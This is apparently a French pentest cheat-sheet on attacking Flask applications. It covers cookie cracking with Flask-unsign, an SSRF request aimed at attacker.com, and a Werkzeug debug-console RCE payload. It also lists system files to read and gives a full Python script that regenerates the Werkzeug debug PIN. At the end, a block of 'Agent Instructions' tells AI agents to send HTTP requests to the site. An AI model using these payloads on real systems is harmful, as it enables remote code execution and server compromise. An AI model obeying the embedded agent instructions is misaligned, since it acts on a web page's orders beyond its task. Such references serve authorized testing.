# Flask

## Outils

### Flask-unsign

Flask-unsign est un outil de ligne de commande pour récupérer, décoder, bruteforcer et créer des cookies de session d'une application Flask en devinant les clés secrètes.

ressource: <https://github.com/Paradoxis/Flask-Unsign>

## SSRF

```
GET @attacker.com/ HTTP/1.1
Host: target.com
Connection: close
```

## Werzeug

### Flask Werkzeug debug console RCE

#### Sans PIN

Endpoint: <https://target.com/console>

```python
__import__('os').popen('whoami').read();
```

#### Avec PIN

Nécessite soit un audit en boîte blanche, soit une vulnérabilité permettant d'accéder au code source (path traversal par exemple).

Trouver le fichier `/usr/local/lib/pythonX.X/werzeug/debug/__init__.py`

repo github: <https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py>

Pour reverse l'algorithme de génération du PIN il faut les éléments suivants:

* Le nom d'utilisateur du lanceur de l'app.
* Le chemin vers le fichier app.py `/usr/local/lib/python3.5/dist-packages/flask/app.py(c)`
* Le décimal de l'adresse MAC de la machine.
  * **`/proc/net/arp`** => Récupérer le device ID.
  * **`/sys/class/net/<device id>/address`** => Récupérer l'adresse MAC.
* l'ID de la machine.
  * **`/etc/machine-id`** ou **`/proc/sys/kernel/random/boot_id`**

#### Code Python pour générer le PIN

```python
import hashlib
from itertools import chain
probably_public_bits = [
    '[username]',
    'flask.app',
    'Flask',
    '/path/to/flask/app.py'
]

private_bits = [
    '[Decimal MAC]',
    '[Machine ID]'
]

#h = hashlib.md5() # changé dans la release https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)
```

Une fois cela fait, exploiter la RCE avec la commandes de la partie Sans PIN.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.s1rn3tz.ovh/pentest-web/autre/flask.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
